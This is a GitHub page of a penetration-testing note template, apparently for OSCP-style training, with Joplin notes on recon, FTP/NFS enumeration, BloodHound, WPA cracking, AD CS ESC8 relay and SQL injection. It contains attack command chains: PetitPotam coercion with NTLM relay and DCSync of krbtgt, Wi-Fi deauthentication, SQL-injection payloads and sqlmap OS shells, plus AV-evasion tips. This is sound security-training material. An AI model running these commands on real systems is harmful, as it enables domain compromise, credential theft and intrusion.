-
Notifications
You must be signed in to change notification settings - Fork 121
/
TJ-Pentest-Template-4.0.jex
7992 lines (6321 loc) · 313 KB
/
TJ-Pentest-Template-4.0.jex
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
008bf10b237d494db05d2270f21864df.md 000644 0000000605 14666154175 012450 0 ustar 00 000000 000000 Host Scans
id: 008bf10b237d494db05d2270f21864df
created_time: 2024-09-04T21:42:12.021Z
updated_time: 2024-09-04T21:43:26.118Z
user_created_time: 2024-09-04T21:42:12.021Z
user_updated_time: 2024-09-04T21:43:26.118Z
encryption_cipher_text:
encryption_applied: 0
parent_id: 26f9a46140514afbb90702f455a97f5d
is_shared: 0
share_id:
master_key_id:
icon:
user_data:
deleted_time: 0
type_: 2 00e93baf5ae1461f89483aa1e43ff225.md 000644 0000003665 14666154175 012631 0 ustar 00 000000 000000 Sniffing the network
# "PCAP IT OR IT DIDNT HAPPEN...its up to you if you need to"
## tcpdump
- tcpdump -i eth0
- tcpdump -c -i eth0
- tcpdump -A -i eth0
- tcpdump -w 0001.pcap -i eth0
- tcpdump -r 0001.pcap
- tcpdump -n -i eth0
- tcpdump -i eth0 port 22
- tcpdump -i eth0 -src 172.21.10.X
- tcpdump -i eth0 -dst 172.21.10.X
## tshark
General Options:
- tshark --list-interfaces
- tshark -i interface
- tshark -i interface -w capture.pcap
- tshark -i interface -r capture.pcap # reading a pcap file
Filtering Protocols:
- tshark -i interface -Y "http || dns || tcp"
- tshark -i interface -Y "http && tcp"
- tshark -i interface -Y "http || dns"
Filtering IP address:
- tshark -i interface -Y "ip.src == 172.21.0.0"
Destination:
- tshark -i interface -Y "ip.dst == 172.21.0.0"
Either Source or Destination:
- tshark -i interface -Y "ip.addr == 172.21.0.0"
Both Source and Destination:
- tshark -i interface -Y "(ip.src == 172.21.0.0 && ip.dst == 172.21.0.0) || (ip.src == 172.21.0.0 && ip.dst == 172.21.0.0)"
IP Range:
- tshark -i interface -Y "ip.addr == 172.21.0.0/24"
Using Filters and IP Addresses:
- tshark -i interface -Y "ip.src == 172.21.0.0 && http"
## Dumpcap
- dumpcap -i interface -w capture.cap
## Other tools to capture and analyze packets:
- Wireshark
- Snort
- Suricata
- Zeek
id: 00e93baf5ae1461f89483aa1e43ff225
parent_id: 26f9a46140514afbb90702f455a97f5d
created_time: 2024-08-01T20:20:33.152Z
updated_time: 2024-08-06T04:13:10.072Z
is_conflict: 0
latitude: 0.00000000
longitude: 0.00000000
altitude: 0.0000
author:
source_url:
is_todo: 0
todo_due: 0
todo_completed: 0
source: joplin-desktop
source_application: net.cozic.joplin-desktop
application_data:
order: 1725486132078
user_created_time: 2024-08-01T20:20:33.152Z
user_updated_time: 2024-08-06T04:13:10.072Z
encryption_cipher_text:
encryption_applied: 0
markup_language: 1
is_shared: 0
share_id:
conflict_original_id:
master_key_id:
user_data:
deleted_time: 0
type_: 1 02b2aa03bf934f6cbdc39bb1ea864b9c.md 000644 0000002262 14666154175 013110 0 ustar 00 000000 000000 General Notes Linux
## Debian:
- ls -alh /usr/bin/
- ls -alh /sbin/
- dpkg -l
- ls -alh /var/cache/apt/archivesO
- ls /usr/share/applications | awk -F '.desktop' ' { print $1}' -
## RedHat:
- rpm -qa
- ls -alh /var/cache/yum/
## BSD:
- pkg_info
## Gentoo:
- equery list
- eix -I
## Arch Linux:
- pacman -Q
## Bash Script:
```
#!/bin/bash
IFS=: read -ra dirs_in_path <<< "$PATH"
for dir in "${dirs_in_path[@]}"; do
for file in "$dir"/*; do
[[ -x $file && -f $file ]] && printf '%s\n' "${file##*/}"
done
done
```
id: 02b2aa03bf934f6cbdc39bb1ea864b9c
parent_id: 45b2694a52b149c982a159cccb1c6a2b
created_time: 2024-08-01T20:20:33.156Z
updated_time: 2024-07-31T21:08:01.794Z
is_conflict: 0
latitude: 0.00000000
longitude: 0.00000000
altitude: 0.0000
author:
source_url:
is_todo: 0
todo_due: 0
todo_completed: 0
source: joplin-desktop
source_application: net.cozic.joplin-desktop
application_data:
order: 1725486132637
user_created_time: 2024-08-01T20:20:33.156Z
user_updated_time: 2024-07-31T21:08:01.794Z
encryption_cipher_text:
encryption_applied: 0
markup_language: 1
is_shared: 0
share_id:
conflict_original_id:
master_key_id:
user_data:
deleted_time: 0
type_: 1 061472ca214a41dbbd5a08fa5a4142bd.md 000644 0000003532 14666154175 012644 0 ustar 00 000000 000000 Enumerating FTP
# General Notes:
Always try anonymous login if it is available:
Username: anonymous
Password: anonymous (or keys you want to put in.)
# FTP Enumeration Tools
## Manual Connection
```
$ ftp 172.21.0.0
```
```
$ nc -vn 172.21.0.0 21
```
## Connect via Browser
```
ftp://172.21.0.0
```
## Nmap FTP Enumeration
```
$ ls -lh /usr/share/nmap/scripts/ | grep ftp
-rw-r--r-- 1 root root 4.5K Oct 12 09:29 ftp-anon.nse
-rw-r--r-- 1 root root 3.2K Oct 12 09:29 ftp-bounce.nse
-rw-r--r-- 1 root root 3.1K Oct 12 09:29 ftp-brute.nse
-rw-r--r-- 1 root root 3.2K Oct 12 09:29 ftp-libopie.nse
-rw-r--r-- 1 root root 3.3K Oct 12 09:29 ftp-proftpd-backdoor.nse
-rw-r--r-- 1 root root 3.7K Oct 12 09:29 ftp-syst.nse
-rw-r--r-- 1 root root 5.9K Oct 12 09:29 ftp-vsftpd-backdoor.nse
-rw-r--r-- 1 root root 5.8K Oct 12 09:29 ftp-vuln-cve2010-4221.nse
-rw-r--r-- 1 root root 5.7K Oct 12 09:29 tftp-enum.nse
$ nmap x.x.x.x -p 21 -sV --script=exampleScript1.nse,exampleScript2.nse
```
## Netexec
```
- netexec ftp 172.21.0.0
- netexec ftp 172.21.0.0 -u 'a' -p ''
- netexec ftp 172.21.0.0 -u 'anonymous' -p '''
# FTP Default wordlists:
/usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt
```
id: 061472ca214a41dbbd5a08fa5a4142bd
parent_id: 4ea66ebc33d64a02880510457f803025
created_time: 2024-08-01T20:20:33.152Z
updated_time: 2024-09-04T04:33:00.787Z
is_conflict: 0
latitude: 0.00000000
longitude: 0.00000000
altitude: 0.0000
author:
source_url:
is_todo: 0
todo_due: 0
todo_completed: 0
source: joplin-desktop
source_application: net.cozic.joplin-desktop
application_data:
order: 1725486132160
user_created_time: 2024-08-01T20:20:33.152Z
user_updated_time: 2024-09-04T04:33:00.787Z
encryption_cipher_text:
encryption_applied: 0
markup_language: 1
is_shared: 0
share_id:
conflict_original_id:
master_key_id:
user_data:
deleted_time: 0
type_: 1 093754dfb210438daea7f47bcbc84e15.md 000644 0000002062 14666154175 012702 0 ustar 00 000000 000000 Domain Sub Domain Discovery
# Domain Discovery
Sublis3r:
- Sublist3r -d www.example.com
- Sublist3r -v -d www.example.com -p 80,443
Subfinder:
- subfinder -d megacorpone.com
OWASP AMASS:
- amass enum -d www.example.com
- amass intel -whois -d www.example.com
- amass intel -active 172.21.0.0-64 -p 80,443,8080,8443
- amass intel -ipv4 -whois -d www.example.com
- amass intel -ipv6 -whois -d www.example.com
id: 093754dfb210438daea7f47bcbc84e15
parent_id: 204bf6446e68480f8aa4bc2e58bca732
created_time: 2024-08-01T20:20:33.152Z
updated_time: 2024-09-04T05:36:30.039Z
is_conflict: 0
latitude: 0.00000000
longitude: 0.00000000
altitude: 0.0000
author:
source_url:
is_todo: 0
todo_due: 0
todo_completed: 0
source: joplin-desktop
source_application: net.cozic.joplin-desktop
application_data:
order: 1725486132005
user_created_time: 2024-08-01T20:20:33.152Z
user_updated_time: 2024-09-04T05:36:30.039Z
encryption_cipher_text:
encryption_applied: 0
markup_language: 1
is_shared: 0
share_id:
conflict_original_id:
master_key_id:
user_data:
deleted_time: 0
type_: 1 0ba4204efa69438eadb20eb752fa86e1.md 000644 0000005703 14666154175 012756 0 ustar 00 000000 000000 9. ESC8 Certificate Templates
# General Overview:
AD CS supports several HTTP-based enrollment methods if additional server roles are installed (Certificate enrollment web service). There are three methods that can test to abuse this technique.
An attacker can use PetitPotam to force a Domain Controller to relay its NTLM credentials to a target host. These credentials can then be forwarded to the Active Directory Certificate Services (AD CS) Web Enrollment pages, allowing the attacker to enroll for a Domain Controller certificate. This certificate can be used to request a Ticket Granting Ticket (TGT), enabling a Pass-the-Ticket attack that compromises the entire domain.
# # Abusing ESC8 Certificate Templates
## Scenario 1 (Certipy, NTLMrelayx, PetitPotman):
- certipy-ad relay -ca 172.21.1.1
- impacket-ntlmrelayx -t http://megacorpone.com/certsrv/csertfnsh.asp -smb2support --adcs --template 'Domain Controller'
- python3 PetitPotam -d megacorpone.com -u afsimmons -p Spawn123! 172.21.1.5 MEGACORP
## Scenario 2:
- impacket-ntlmrelayx -t http://megacorpone.com/certsrv/csertfnsh.asp -smb2support --adcs --template 'Domain Controller'
- mimikatz> misc::efs /server:dc.lab.local /connect:172.21.1.5 /noauth
- kekeo> base64 /input:on
- kekeo> tgt::ask /pfx:"BASE64-CERT-FROM-NTLMRELAY" /user:dc$ /domain:megacorpone.com /ptt
- mimikatz> lsadump::dcsync /user:krbtgt
## Scenario 4:
- sudo krbrelayx.py --target http://CA/certsrv -ip attacker_IP --victim target.domain.local --adcs --template Machine
- sudo mitm6 --domain domain.local --host-allowlist target.domain.local --relay CA.domain.local -v
## Scenario 5:
- Source: https://github.com/bats3c/ADCSPwn
- adcspwn.exe --adcs "cs server" --port [local port] --remote [computer]
- adcspwn.exe --adcs cs.megacorpone.com
- adcspwn.exe --adcs cs.megacorpone.com--remote dc.megacorpone.com--port 9001
- adcspwn.exe --adcs cs.megacorpone.com--remote dc.megacorpone.com --output C:\Temp\cert_b64.txt
- adcspwn.exe --adcs cs.megacorpone.com--remote dc.megacorpone.com--username megacorpone.com\afsimmons --password Spawn123! --dc dc.megacorpone.com
## Scenario 6:
- impacket-ntlmrelayx -t http://megacorpone.com/certsrv/csertfnsh.asp -smb2support --adcs --template 'Domain Controller'
- python3 coercer.py <DC_IP> <YOUR_IP>
- python3 getTGT.py -dc-ip <DC_IP> -pfx <CERT_FILE.pfx> -no-pass
id: 0ba4204efa69438eadb20eb752fa86e1
parent_id: e5db134a7ed6458393dd8757b82ddab1
created_time: 2024-08-30T18:42:49.732Z
updated_time: 2024-08-31T04:29:35.205Z
is_conflict: 0
latitude: 0.00000000
longitude: 0.00000000
altitude: 0.0000
author:
source_url:
is_todo: 0
todo_due: 0
todo_completed: 0
source: joplin-desktop
source_application: net.cozic.joplin-desktop
application_data:
order: 1725486132287
user_created_time: 2024-08-30T18:42:49.732Z
user_updated_time: 2024-08-31T04:29:35.205Z
encryption_cipher_text:
encryption_applied: 0
markup_language: 1
is_shared: 0
share_id:
conflict_original_id:
master_key_id:
user_data:
deleted_time: 0
type_: 1 13b33238c3094b0fbe9826b31840833d.md 000644 0000001664 14666154175 012323 0 ustar 00 000000 000000 General Notes Linux
## For all Linux Distro's:
- uname -a
- cat /etc/issue
- cat /proc/version
- cat /etc/os-release
## PowerShell
- $PSVersionTable
Obtaining Systems Environment Variables:
- Get-ChildItem -Path Env:
## Debian:
- dmesg | grep Linux
## RedHat:
- rpm -q kernel
id: 13b33238c3094b0fbe9826b31840833d
parent_id: 8f6442e342044bd785c48bacc2e7658e
created_time: 2024-08-01T20:20:33.160Z
updated_time: 2024-08-01T20:38:07.068Z
is_conflict: 0
latitude: 0.00000000
longitude: 0.00000000
altitude: 0.0000
author:
source_url:
is_todo: 0
todo_due: 0
todo_completed: 0
source: joplin-desktop
source_application: net.cozic.joplin-desktop
application_data:
order: 1725486132754
user_created_time: 2024-08-01T20:20:33.160Z
user_updated_time: 2024-08-01T20:38:07.068Z
encryption_cipher_text:
encryption_applied: 0
markup_language: 1
is_shared: 0
share_id:
conflict_original_id:
master_key_id:
user_data:
deleted_time: 0
type_: 1 16a6ff522b424215baef18e3bac85914.md 000644 0000003270 14666154175 012615 0 ustar 00 000000 000000 Cracking WEP_WPA_WPA 2 PSK Authetication
## Capture Handshake
1. airmon-ng start wlan0
2. airodump-ng mon0 --write capture.cap -c 11
3. aireplay-ng --deauth 0 -a bb:bb:bb:bb:bb:bb mon0
Convert pcap files for john and hashcat
/usr/lib/hashcat-utils/cap2hccapx.bin input.pcap output.hccapx [filter by essid] [additional network essid:bssid]
/usr/sbin/hccap2john
/usr/sbin/vncpcap2john
/usr/sbin/wpapcap2john
## Cracking Handshake with Aircrack
- aircrack-ng -w /usr/share/wordlist/fasttrack.txt 0001.cap
## Cracking Handshakes with Hashcat
- hashcat.exe -m 2500 capture.hccapx rockyou.txt (Dictionary Attack)
- hashcat.exe -m 2500 -a3 capture.hccapx ?d?d?d?d?d?d?d?d (Brute-Force)
- hashcat.exe -m 2500 -r rules/best64.rule capture.hccapx rockyou.txt (Rule-Based)
## Cracking Handshakes with John The Ripper
Did you run hccap2john?
- john --format=wpapsk --wordlist=/usr/share/wordlists/rockyou.txt crackmecap
- john --format=wpapsk-opencl --wordlist=/usr/share/wordlists/rockyou.txt crackmecap
Other Resources:
https://github.com/lgandx/PCredz
id: 16a6ff522b424215baef18e3bac85914
parent_id: f5b6f52827df4dfd8523222cd85dcaa6
created_time: 2024-08-01T20:20:33.160Z
updated_time: 2024-07-31T21:08:01.794Z
is_conflict: 0
latitude: 0.00000000
longitude: 0.00000000
altitude: 0.0000
author:
source_url:
is_todo: 0
todo_due: 0
todo_completed: 0
source: joplin-desktop
source_application: net.cozic.joplin-desktop
application_data:
order: 1725486132848
user_created_time: 2024-08-01T20:20:33.160Z
user_updated_time: 2024-07-31T21:08:01.794Z
encryption_cipher_text:
encryption_applied: 0
markup_language: 1
is_shared: 0
share_id:
conflict_original_id:
master_key_id:
user_data:
deleted_time: 0
type_: 1 19e51b6eb70d45a585157dd8ed232927.md 000644 0000005361 14666154175 012503 0 ustar 00 000000 000000 BloodHound
# BloodHound
###Source:
- https://github.com/BloodHoundAD/BloodHound
## In Kali:
```
$ sudo apt install bloodhound
$ bloodhound
```
## Installing:
New version of bloodhound:
```
$ cd /opt
$ sudo apt install docker docker-compose
$ sudo git clone https://github.com/SpecterOps/BloodHound
$ cd /opt/BloodHound
$ docker compose -f - up
Navigate to http://localhost:8080/ui/login
```
Old version of bloodhound:
```
$ cd /opt
$ sudo git clone https://github.com/BloodHoundAD/BloodHound.git
$ sudo wget https://github.com/BloodHoundAD/BloodHound/releases/download/3.0.3/BloodHound-linux-x64.zip
```
Neo4j has to be running for Bloodhound web app to work:
```
$ sudo neo4j console
```
Set the password if you haven't already.
Start bloodhound:
```
$ sudo ./Bloodhound --no-sandbox
```
## Pre-Compiled Binaries
- https://github.com/BloodHoundAD/BloodHound/releases
## SharpHound:
- https://github.com/BloodHoundAD/SharpHound3
Execute on target:
```
C:\> .\SharpHound.exe -c all
```
or in Powershell with .ps1 version
```
C:\> import-module .\sharphound.ps1
C:\> invoke-bloodHound -CollectionMethod all -domain <target-domain> -LDAPUser <username> -LDAPPass <password>
```
Note: `-domain`, `-LDAPUser`, and `-LDAPPass` are optional and bloodhound will run with only the `-CollectionMethod` flag.
Other useful sharphound flags:
- `--encryptzip`: allows you to encrypt the file using a random password
- `--zipfilename`: allows you to name the outputted filename so that "bloodhound" isn't in the name in case AV catches it.
If you want to run SharpHound from a PC that is not joined to the target domain, open a command prompt and run:
```
C:\> runas /netonly /user:DOMAIN\USER powershell.exe
```
Then run the PS commands listed above as the domain user in the PowerShell context.
### Bloodhound for python
## In Kali:
Source: https://github.com/fox-it/BloodHound.py
Note: Only compatible with BloodHound 3.0 or newer
Installation in Kali:
```
sudo apt install bloodhound.py
```
Collecting information:
```
bloodhound-python -u <UserName> -p <Password> -ns <Domain Controller's Ip> -d <Domain> -c All
```
id: 19e51b6eb70d45a585157dd8ed232927
parent_id: 533f89ee69a545b7a416b814f14e5d3d
created_time: 2024-08-01T20:20:33.156Z
updated_time: 2024-09-04T05:34:14.155Z
is_conflict: 0
latitude: 0.00000000
longitude: 0.00000000
altitude: 0.0000
author:
source_url:
is_todo: 0
todo_due: 0
todo_completed: 0
source: joplin-desktop
source_application: net.cozic.joplin-desktop
application_data:
order: 1725486132521
user_created_time: 2024-08-01T20:20:33.156Z
user_updated_time: 2024-09-04T05:34:14.155Z
encryption_cipher_text:
encryption_applied: 0
markup_language: 1
is_shared: 0
share_id:
conflict_original_id:
master_key_id:
user_data:
deleted_time: 0
type_: 1 1c469d0205e349b1901a6eabc6814e09.md 000644 0000010620 14666154175 012452 0 ustar 00 000000 000000 General Information
Created by TJ Null:
Twitter: https://twitter.com/TJ_Null
Github: https://github.com/tjnull
Contribution:
If you would like to contribute to the template or provide suggestions, then you can submit an issue on the Github Repo here:
- https://github.com/tjnull/TJ-JPT
## Changelog:
v1.0: Original Template
v2.0 The first chapter
2. Enumeration
- Added an FTP Notebook to include notes for that identified service
- Added more content in Active Directory
- Web has a subnotebook to include any content from the changelog.txt file
- Fixed the gobuster oneliners to match with the recent changes from the tool
3. Exploitation
- Added some custom options for searchsploit
4. Post Exploitation
- Moved the subnotebook into a subnotebook (Target #1) so the user can copy the subnotebook and add another one under post exploitation for other targets.
- Created a sub notebook to include the output from automated priv esc scripts that are used.
- Included tools, tips, and resources in all sections for priv esc
v3.0 Major Refactoring Overhaul
- Added sub notebooks (Recon Targets, Enumeration Targets, Exploitation Targets, Post Exploitation Targets). Makes it easier to organize all of the notes you have for assessing the targets instead of having them cluttered in your other notes.
- Broke down the recon notes to include a discovery and a host scan sub notebooks
- Moved Pivot/Tunneling into the Recon Notes Section. [Pivoting/Tunneling](../Pentest%20Template%20Master%203.0/1.%20Recon%20Notes/Pivoting_Tunneling.md)
- Moved Reporting into High Value Information/Reporting SubNotebook
- New section for impacket ntlmrelayx [Impacket NtlmRelayX](../Pentest%20Template%20Master%203.0/3.%20Enumeration%20Notes/Impacket%20NtlmRelayX.md)
- New section for pretender [Pretender](../Pentest%20Template%20Master%203.0/3.%20Enumeration%20Notes/Pretender.md)
- New section or clean up with responder [Responder](../Pentest%20Template%20Master%203.0/3.%20Enumeration%20Notes/Responder.md)
- New section including how to use villian [Villian Cheatsheet](../Pentest%20Template%20Master%203.0/5.%20Exploitation%20Notes/Villian%20Cheatsheet.md)
- New section for editable services [General Notes](../Pentest%20Template%20Master%203.0/7.%20Post%20Exploitation/Editable%20Services/General%20Notes.md)
- Added a new PWK V2/V3 OSCP Report Template [OSCP Report Template V2](../Pentest%20Template%20Master%203.0/9.%20High%20Value%20Information_Reporting/Reporting/OSCP%20Report%20Template%20V2.md)
- Added a PowerShell ISO oneliner if you want to launch your payloads through an ISO [General Notes](../Pentest%20Template%20Master%203.0/5.%20Exploitation%20Notes/General%20Notes.md)
Shoutout to TheGetch (https://github.com/TheGetch) for sharing some of his notes and giving me some inspiration to the hierarchy he has.
If you want to see his current methodology you can find it here: https://github.com/TheGetch/Penetration-Testing-Methodology
v4.0 Dusting off the books
- Refactored and cleaned up noting structure to align with how Obsidian displays raw markdown.
- Separated the Pivoting-Tunneling section to show a set of commands to use for either Windows or Linux.
- Added a new section to enumerate email services.
- Included two scripts (Python & Golang) to with instructions on how you can send a mass email for phishing campaigns.
- New section for using Rustscan
- New section for using SQLMap
- New section for enumerating websites with Feroxbuster
- New section on enumerating and exploiting AD CS certificates
- Updated Bypassing AV section with new tools
- Updated BloodHound section to include the new version of BloodHound Community
- Updated Mimikatz section
- New Section on Decrypting VNC Passwords
- Replaced all crackmapexec commands with NetExec due to change in contribution of the project.
id: 1c469d0205e349b1901a6eabc6814e09
parent_id: 209cdc03c015406883ec99e460d27e45
created_time: 2024-08-01T20:20:33.160Z
updated_time: 2024-09-04T16:03:17.916Z
is_conflict: 0
latitude: 0.00000000
longitude: 0.00000000
altitude: 0.0000
author:
source_url:
is_todo: 0
todo_due: 0
todo_completed: 0
source: joplin-desktop
source_application: net.cozic.joplin-desktop
application_data:
order: 1725486132987
user_created_time: 2024-08-01T20:20:33.160Z
user_updated_time: 2024-09-04T16:03:17.916Z
encryption_cipher_text:
encryption_applied: 0
markup_language: 1
is_shared: 0
share_id:
conflict_original_id:
master_key_id:
user_data:
deleted_time: 0
type_: 1 1da65df8567042b3b7bd3abdcfe93ecc.md 000644 0000002601 14666154175 013201 0 ustar 00 000000 000000 NFS Enumeration
## Detecting NFS and using NSE scripts:
- nmap -Pn -sV -p 111,2049 --script="banner,(rpcinfo or nfs*) and not (brute or broadcast or dos or external or fuzzer)" 172.21.1.5 -oA results.txt
## Mounting NFS Shares:
- sudo mount -o rw,vers=2 $ip:/home /mnt
Note: '-o nolock' used to disable file locking, needed for older NFS servers
- sudo mount -o nolock $ip:/home /mnt/
# Useful Scripts to Enumerate NFS:
## nmap
```
nfs-ls #List NFS exports and check permissions
nfs-showmount #Like showmount -e
nfs-statfs #Disk statistics and info from NFS share
```
## Metasploit
```
scanner/nfs/nfsmount #Scan NFS mounts and list permissions
```
# Tools to enumerate NFS:
## nfsclient:
- Source: https://github.com/mubix/nfsclient
id: 1da65df8567042b3b7bd3abdcfe93ecc
parent_id: 5d5883588bb347e790e78733ca62cc4c
created_time: 2024-09-04T05:47:02.143Z
updated_time: 2024-09-04T15:12:49.056Z
is_conflict: 0
latitude: 0.00000000
longitude: 0.00000000
altitude: 0.0000
author:
source_url:
is_todo: 0
todo_due: 0
todo_completed: 0
source: joplin-desktop
source_application: net.cozic.joplin-desktop
application_data:
order: 1725486132381
user_created_time: 2024-09-04T05:47:02.143Z
user_updated_time: 2024-09-04T15:12:49.056Z
encryption_cipher_text:
encryption_applied: 0
markup_language: 1
is_shared: 0
share_id:
conflict_original_id:
master_key_id:
user_data:
deleted_time: 0
type_: 1 1ebe77a4855a4b90920c7351987b1806.md 000644 0000001334 14666154175 012336 0 ustar 00 000000 000000 Target
# Fill in results or other information about your targets here:
id: 1ebe77a4855a4b90920c7351987b1806
parent_id: 5f61396aff534f70804351e1db59cc7b
created_time: 2024-08-01T20:20:33.160Z
updated_time: 2024-07-31T21:08:01.794Z
is_conflict: 0
latitude: 0.00000000
longitude: 0.00000000
altitude: 0.0000
author:
source_url:
is_todo: 0
todo_due: 0
todo_completed: 0
source: joplin-desktop
source_application: net.cozic.joplin-desktop
application_data:
order: 1725486132941
user_created_time: 2024-08-01T20:20:33.160Z
user_updated_time: 2024-07-31T21:08:01.794Z
encryption_cipher_text:
encryption_applied: 0
markup_language: 1
is_shared: 0
share_id:
conflict_original_id:
master_key_id:
user_data:
deleted_time: 0
type_: 1 204bf6446e68480f8aa4bc2e58bca732.md 000644 0000000612 14666154175 012623 0 ustar 00 000000 000000 Discovery Scans
id: 204bf6446e68480f8aa4bc2e58bca732
created_time: 2024-09-04T21:42:11.990Z
updated_time: 2024-09-04T21:57:26.277Z
user_created_time: 2024-09-04T21:42:11.990Z
user_updated_time: 2024-09-04T21:57:26.277Z
encryption_cipher_text:
encryption_applied: 0
parent_id: 26f9a46140514afbb90702f455a97f5d
is_shared: 0
share_id:
master_key_id:
icon:
user_data:
deleted_time: 0
type_: 2 209cdc03c015406883ec99e460d27e45.md 000644 0000000566 14666154175 012415 0 ustar 00 000000 000000 Pentest Template Master 4.0
id: 209cdc03c015406883ec99e460d27e45
created_time: 2024-09-04T21:42:11.970Z
updated_time: 2024-09-04T21:42:11.970Z
user_created_time: 2024-09-04T21:42:11.970Z
user_updated_time: 2024-09-04T21:42:11.970Z
encryption_cipher_text:
encryption_applied: 0
parent_id:
is_shared: 0
share_id:
master_key_id:
icon:
user_data:
deleted_time: 0
type_: 2 21665884f17c41eab0959b721b09bc8e.md 000644 0000004562 14666154175 012501 0 ustar 00 000000 000000 SQL Injection
Testing for Bypasses:
' or 1=1 LIMIT 1 --
' or 1=1 LIMIT 1 -- -
' or 1=1 LIMIT 1#
'or 1#
' or 1=1 --
' or 1=1 -- -
# SQLMAP
## Enumerate databases
sqlmap --dbms=mysql -u "$URL" --dbs
## Enumerate tables
- sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --tables
## Dump table data
- sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" -T "$TABLE" --dump
## Dump Columns
- sqlmap --dbms=mysql -u https://megacorpone.com -D "DATABASE" -T "TABLE" -C "COLUMN" --dump
## List Columns
- sqlmap --dbms=mysql -u https://megacorpone.com -D "DATABASE" -T "TABLE" --columns
## Specify parameter to exploit
- sqlmap --dbms=mysql -u "http://www.megacorpone.com/param1=value1¶m2=value2" --dbs -p param2
## Specify parameter to exploit in 'nice' URIs
- sqlmap --dbms=mysql -u "http://www.megacorpone.com/param1/value1*/param2/value2" --dbs # exploits param1
## Get OS shell
- sqlmap --dbms=mysql -u "$URL" --os-shell
## Get SQL shell
- sqlmap --dbms=mysql -u "$URL" --sql-shell
## SQL query
- sqlmap --dbms=mysql -u https://megacorpone.com -D "$DATABASE" --sql-query "SELECT * FROM $TABLE;"
## Use Tor Socks5 proxy
- sqlmap --tor --tor-type=SOCKS5 --check-tor --dbms=mysql -u https://megacorpone.com --dbs
## Using SQLMAP with basic authentication or NTLM
- sqlmap -u "http://megacorpone.com/" -s-data=param1=value1¶m2=value2 -p param1 --auth-type=[basic/ntlm] --auth-cred=username:password
# SQLI
Testing for a row:
- http://target-ip/inj.php?id=1 union all select 1,2,3,4,5,6,7,8
# Resources:
- http://www.securityidiots.com/Web-Pentest/SQL-Injection/Union-based-Oracle-Injection.html
- https://cheatography.com/dormidera/cheat-sheets/oracle-sql-injection/
- https://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
id: 21665884f17c41eab0959b721b09bc8e
parent_id: 683f633e9ae24821b9411611851581bd
created_time: 2024-08-01T20:20:33.152Z
updated_time: 2024-09-04T04:29:09.535Z
is_conflict: 0
latitude: 0.00000000
longitude: 0.00000000
altitude: 0.0000
author:
source_url:
is_todo: 0
todo_due: 0
todo_completed: 0
source: joplin-desktop
source_application: net.cozic.joplin-desktop
